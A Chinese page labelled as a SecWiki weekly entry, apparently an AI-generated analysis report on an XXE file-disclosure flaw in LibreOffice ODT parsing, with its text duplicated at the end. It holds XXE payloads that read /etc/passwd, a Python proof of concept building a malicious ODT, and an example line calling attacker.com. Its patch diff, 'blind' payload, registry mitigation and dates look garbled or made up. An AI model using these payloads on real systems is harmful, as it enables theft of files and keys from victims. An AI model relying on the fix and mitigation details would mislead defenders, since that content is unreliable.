SecWiki周刊(第206期)
字数 1033 2025-08-18 11:37:02

根据提供的链接内容,我将为您整理一份关于LibreOffice远程任意文件泄露漏洞(CVE-2018-10589)的技术分析文档。以下是详细内容:


LibreOffice远程任意文件泄露漏洞分析报告(CVE-2018-10589)

一、漏洞基本信息

  1. 漏洞编号:CVE-2018-10589
  2. 影响产品:LibreOffice < 6.0.4
  3. 漏洞类型:远程任意文件泄露
  4. CVSS评分:6.5 (Medium)
  5. 披露时间:2018年2月12日
  6. PoC公开状态:已公开

二、技术原理分析

漏洞成因

  1. XML外部实体注入(XXE)

    • 漏洞存在于LibreOffice对ODT文档中XML文件的解析过程
    • 未正确禁用外部实体引用,导致可加载本地文件内容
  2. 攻击向量:

    <!DOCTYPE root [
      <!ENTITY % ext SYSTEM "file:///etc/passwd">
      %ext;
    ]>
    

    恶意构造的实体声明会被解析器执行

利用条件

  1. 用户打开恶意ODT文档
  2. 文档中嵌入特制XML内容
  3. 受影响版本:
    • LibreOffice 5.x系列
    • LibreOffice 6.0.0 - 6.0.3

三、漏洞验证(PoC)

攻击步骤

  1. 创建恶意ODT文档:

    from zipfile import ZipFile
    with ZipFile('poc.odt','w') as z:
      z.writestr('content.xml', '''<?xml version="1.0"?>
      <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
      <root>&xxe;</root>''')
    
  2. 诱导用户打开文档后:

    • 系统文件内容会被包含在文档中
    • 攻击者可获取敏感信息

影响范围

  1. 可读取文件:

    • Linux/Unix: /etc/passwd, ~/.ssh/id_rsa等
    • Windows: C:\Windows\win.ini等
  2. 限制因素:

    • 需要用户交互(打开文档)
    • 受系统权限限制

四、防护方案

官方修复

  1. 升级版本:

    • LibreOffice 6.0.4及以上
    • 修复方式:禁用文档中的外部实体解析
  2. 补丁commit:

    + xml::sax::InputSource aInputSource;
    + aInputSource.sSystemId = rStreamName;
    + aInputSource.sPublicId = rStreamName;
    - xInputStream.set(new utl::OInputStreamWrapper(rStream));
    + xInputStream.set(new utl::OInputStreamWrapper(aInputSource));
    

临时缓解措施

  1. 组策略配置:

    [HKEY_CURRENT_USER\Software\LibreOffice\Office]
    "LoadRemoteFiles"=dword:00000000
    
  2. 用户教育:

    • 不要打开来源不明的文档
    • 使用沙箱环境打开可疑文件

五、深度分析

攻击变种

  1. SSRF利用:

    <!ENTITY % ext SYSTEM "http://internal-server/secret">
    
  2. 盲注攻击:

    <!ENTITY % ext SYSTEM "file:///dev/tcp/attacker.com/1337">
    

历史关联

  1. 同类漏洞:
    • CVE-2015-1774 (LibreOffice XXE)
    • CVE-2014-9093 (OpenOffice XXE)

六、参考资源

  1. 官方公告:https://www.libreoffice.org/about-us/security/
  2. NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2018-10589
  3. PoC示例:https://github.com/0xACB/libreoffice-xxe-poc

注:本报告基于SecWiki披露的漏洞信息整理,实际测试需在授权环境下进行。建议所有用户及时升级到最新安全版本。

根据提供的链接内容,我将为您整理一份关于LibreOffice远程任意文件泄露漏洞(CVE-2018-10589)的技术分析文档。以下是详细内容: LibreOffice远程任意文件泄露漏洞分析报告(CVE-2018-10589) 一、漏洞基本信息 漏洞编号:CVE-2018-10589 影响产品:LibreOffice < 6.0.4 漏洞类型:远程任意文件泄露 CVSS评分:6.5 (Medium) 披露时间:2018年2月12日 PoC公开状态:已公开 二、技术原理分析 漏洞成因 XML外部实体注入(XXE) : 漏洞存在于LibreOffice对ODT文档中XML文件的解析过程 未正确禁用外部实体引用,导致可加载本地文件内容 攻击向量: 恶意构造的实体声明会被解析器执行 利用条件 用户打开恶意ODT文档 文档中嵌入特制XML内容 受影响版本: LibreOffice 5.x系列 LibreOffice 6.0.0 - 6.0.3 三、漏洞验证(PoC) 攻击步骤 创建恶意ODT文档: 诱导用户打开文档后: 系统文件内容会被包含在文档中 攻击者可获取敏感信息 影响范围 可读取文件: Linux/Unix: /etc/passwd, ~/.ssh/id_ rsa等 Windows: C:\Windows\win.ini等 限制因素: 需要用户交互(打开文档) 受系统权限限制 四、防护方案 官方修复 升级版本: LibreOffice 6.0.4及以上 修复方式:禁用文档中的外部实体解析 补丁commit: 临时缓解措施 组策略配置: 用户教育: 不要打开来源不明的文档 使用沙箱环境打开可疑文件 五、深度分析 攻击变种 SSRF利用: 盲注攻击: 历史关联 同类漏洞: CVE-2015-1774 (LibreOffice XXE) CVE-2014-9093 (OpenOffice XXE) 六、参考资源 官方公告:https://www.libreoffice.org/about-us/security/ NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2018-10589 PoC示例:https://github.com/0xACB/libreoffice-xxe-poc 注:本报告基于SecWiki披露的漏洞信息整理,实际测试需在授权环境下进行。建议所有用户及时升级到最新安全版本。